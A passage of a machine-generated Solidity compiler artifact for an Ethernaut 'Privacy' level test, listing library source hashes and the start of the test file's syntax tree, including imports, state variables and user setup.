gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Privacy.sol":{"keccak256":"0x141eeed3421b598c1dd063bab07e77a5ea5b5f1b2f701683562344e3f34ee961","urls":["bzz-raw://19fabfc206db8cfd3a00f9aa8e53cd68671e20229912567eccb727112e84fc05","dweb:/ipfs/QmbHaXwFcGetZhf1QxJrh8VXqTonrWFn8VQDuwa58gLSZd"],"license":"MIT"},"src/levels/PrivacyFactory.sol":{"keccak256":"0xe37d331cca13d6104b572d8f708eef20fe028e030cabac2ba20f5f945fd6875c","urls":["bzz-raw://be57290b355c9dbbf8f6f97e2578fa1344fa255064518f58c5a2ec04501e48b0","dweb:/ipfs/QmdxWD1KYjjGAXxKZPDMDtEFwgtXncQa7A2sx2u45CVroR"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Privacy.t.sol":{"keccak256":"0x54da648759c66c693f2821db730061755bb30662fcb79245fa17fba4f2d8110d","urls":["bzz-raw://966dfb67079cc3a59a926e42fc14904fde37ce449241acd4576213192b99d865","dweb:/ipfs/QmXSDvT6c98FqDCwhS22FCum9syxSeK5YpGfwh2xZTySku"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Privacy.t.sol","id":63410,"exportedSymbols":{"Ethernaut":[49101],"Level":[55508],"Privacy":[54187],"PrivacyFactory":[54287],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestPrivacy":[63409],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:1917:142","nodes":[{"id":63213,"nodeType":"PragmaDirective","src":"32:23:142","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":63214,"nodeType":"ImportDirective","src":"57:28:142","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":63410,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":63216,"nodeType":"ImportDirective","src":"86:43:142","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":63410,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":63215,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:142","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63218,"nodeType":"ImportDirective","src":"131:47:142","nodes":[],"absolutePath":"src/levels/Privacy.sol","file":"src/levels/Privacy.sol","nameLocation":"-1:-1:-1","scope":63410,"sourceUnit":54188,"symbolAliases":[{"foreign":{"id":63217,"name":"Privacy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54187,"src":"139:7:142","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63220,"nodeType":"ImportDirective","src":"179:61:142","nodes":[],"absolutePath":"src/levels/PrivacyFactory.sol","file":"src/levels/PrivacyFactory.sol","nameLocation":"-1:-1:-1","scope":63410,"sourceUnit":54288,"symbolAliases":[{"foreign":{"id":63219,"name":"PrivacyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54287,"src":"187:14:142","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63222,"nodeType":"ImportDirective","src":"241:48:142","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":63410,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":63221,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"249:5:142","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63224,"nodeType":"ImportDirective","src":"290:44:142","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":63410,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":63223,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"298:9:142","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63409,"nodeType":"ContractDefinition","src":"336:1612:142","nodes":[{"id":63231,"nodeType":"VariableDeclaration","src":"378:19:142","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"388:9:142","scope":63409,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":63230,"nodeType":"UserDefinedTypeName","pathNode":{"id":63229,"name":"Ethernaut","nameLocations":["378:9:142"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"378:9:142"},"referencedDeclaration":49101,"src":"378:9:142","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":63234,"nodeType":"VariableDeclaration","src":"403:16:142","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"411:8:142","scope":63409,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"},"typeName":{"id":63233,"nodeType":"UserDefinedTypeName","pathNode":{"id":63232,"name":"Privacy","nameLocations":["403:7:142"],"nodeType":"IdentifierPath","referencedDeclaration":54187,"src":"403:7:142"},"referencedDeclaration":54187,"src":"403:7:142","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}},"visibility":"internal"},{"id":63236,"nodeType":"VariableDeclaration","src":"426:21:142","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"442:5:142","scope":63409,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":63235,"name":"address","nodeType":"ElementaryTypeName","src":"426:15:142","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":63238,"nodeType":"VariableDeclaration","src":"453:22:142","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"469:6:142","scope":63409,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":63237,"name":"address","nodeType":"ElementaryTypeName","src":"453:15:142","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":63340,"nodeType":"FunctionDefinition","src":"662:589:142","nodes":[],"body":{"id":63339,"nodeType":"Block","src":"686:565:142","nodes":[],"statements":[{"assignments":[63243],"declarations":[{"constant":false,"id":63243,"mutability":"mutable","name":"users","nameLocation":"721:5:142","nodeType":"VariableDeclaration","scope":63339,"src":"696:30:142","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":63241,"name":"address","nodeType":"ElementaryTypeName","src":"696:15:142","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63242,"nodeType":"ArrayTypeName","src":"696:17:142","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":63247,"initialValue":{"arguments":[{"hexValue":"32","id":63245,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"741:1:142","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":63244,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"729:11:142","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":63246,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"729:14:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"696:47:142"},{"expression":{"id":63252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63248,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63236,"src":"754:5:142","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":63249,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63243,"src":"762:5:142","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":63251,"indexExpression":{"hexValue":"30","id":63250,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"768:1:142","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"762:8:142","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"754:16:142","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63253,"nodeType":"ExpressionStatement","src":"754:16:142"},{"expression":{"arguments":[{"id":63257,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63236,"src":"789:5:142","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":63258,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"796:7:142","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":63254,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"780:2:142","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63256,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"783:5:142","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"780:8:142","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":63259,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"780:24:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63260,"nodeType":"ExpressionStatement","src":"780:24:142"},{"expression":{"id":63265,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63261,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63238,"src":"815:6:142","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":63262,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63243,"src":"824:5:142","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":63264,"indexExpression":{"hexValue":"31","id":63263,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"830:1:142","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"824:8:142","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"815:17:142","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63266,"nodeType":"ExpressionStatement","src":"815:17:142"},{"expression":{"arguments":[{"id":63270,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63238,"src":"851:6:142","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":63271,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"859:8:142","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":63267,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"842:2:142","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63269,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"845:5:142","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"842:8:142","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":63272,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"842:26:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63273,"nodeType":"ExpressionStatement","src":"842:26:142"},{"expression":{"arguments":[{"id":63277,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63236,"src":"893:5:142","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63274,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"879:2:142","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63276,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"882:10:142","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"879:13:142","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63278,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"879:20:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63279,"nodeType":"ExpressionStatement","src":"879:20:142"},{"expression":{"id":63284,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63280,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63231,"src":"909:9:142","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract 